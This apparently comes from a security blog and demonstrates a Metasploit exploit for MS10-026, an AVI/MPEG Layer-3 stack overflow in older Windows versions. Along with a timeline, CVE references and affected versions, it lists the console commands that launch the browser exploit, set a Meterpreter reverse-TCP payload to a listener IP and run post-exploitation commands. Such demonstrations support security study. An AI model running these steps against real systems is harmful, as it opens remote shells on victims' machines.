MS10-026 : Microsoft MPEG Layer-3 Audio Stack Based Overflow Metasploit Demo
Timeline :
Vulnerability discovered by Yamata Li and submitted to Microsoft
Coordinated public release of the vulnerability the 2010-04-13
Metasploit PoC provided the 2011-08-12
PoC provided by :
Yamata Li
Shahin Ramezany
juan vazquez
Jordi Sanchez
Reference(s) :
CVE-2010-0480
OSVDB-63749
MS10-026 (KB977816)
Affected version(s) :
Microsoft Windows 2000 SP4
Windows XP SP2 and SP3
Windows XP Professional x64 SP2
Windows Server 2003 SP2
Windows Server 2003 x64 SP2
Windows Vista, Windows Vista SP1, and Windows Vista SP2
Windows Vista x64, Windows Vista x64 SP1, and Windows Vista x64 SP2
Windows Server 2008 32 and Windows Server 2008 32 SP2
Windows Server 2008 x64 and Windows Server 2008 x64 SP2
Tested on Windows XP SP3 with :
Internet Explorer 6
Description :
This module exploits a buffer overlow in l3codecx.ax while processing a AVI files with MPEG Layer-3 audio contents. The overflow only allows to overwrite with 0′s so the three least significant bytes of EIP saved on stack are overwritten and shellcode is mapped using the .NET DLL memory technique pioneered by Alexander Sotirov and Mark Dowd. Please note on IE 8 targets, your malicious URL must be a trusted site in order to load the .Net control.
Commands :
use exploit/windows/browser/ms10_026_avi_nsamplespersec
set SRVHOST 192.168.178.21
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploitsessions -i 1
getuid
sysinfo
ipconfig
I recommend you to read these related posts
- EDB-ID-16940 : Microsoft .NET Runtime Optimization Service Privilege Escalation
- MS10-046 : Microsoft Windows Shell LNK Execution
- MS11-006 : Windows Thumbnails CreateSizedDIBSECTION Stack Buffer Overflow
- MS12-043 Microsoft XML Core Services Vulnerability Metasploit Demo
- CVE-2012-4969 Microsoft Internet Explorer execCommand Vulnerability Metasploit Demo
- MS10-061 : Microsoft Print Spooler Service Impersonation Vulnerability
- MS08-067 : Microsoft Server Service Relative Path Stack Corruption
- MS11-080 Microsoft Windows AfdJoinLeaf Privilege Escalation Metasploit Demo
- MS12-004 Windows Media Remote Code Execution Metasploit Demo
- MS12-037 Internet Explorer Same ID Vulnerability Metasploit Demo